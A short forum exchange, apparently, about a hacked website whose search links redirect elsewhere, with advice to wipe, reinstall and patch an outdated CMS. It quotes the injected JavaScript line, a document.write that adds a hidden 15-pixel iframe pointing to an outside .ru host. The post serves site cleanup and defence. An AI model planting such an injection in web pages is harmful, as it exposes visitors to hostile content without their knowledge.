Site Hacked - Links from Search Engines Redirect Elsewhere

At the end of every single javascript on the page is this:

document.write('<iframe src="http://areashumannah.ru/irisnondisclosure.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>');

I would consider your box well and thoroughly hacked. Nothing can be trusted. Backup, wipe, have somebody knowledgeable reinstall and secure. The fact that you're accepting credit card details makes this worse.

One frequent cause of this type of hack is a CMS or modules/plugins that have not been kept up-to-date (or poorly written to begin with). I saw something very similar recently on a website running an old version of Joomla.

Restore from backup, then apply security patches etc. and see if the hack reappears (which it will undoubtedly do until you plug the hole).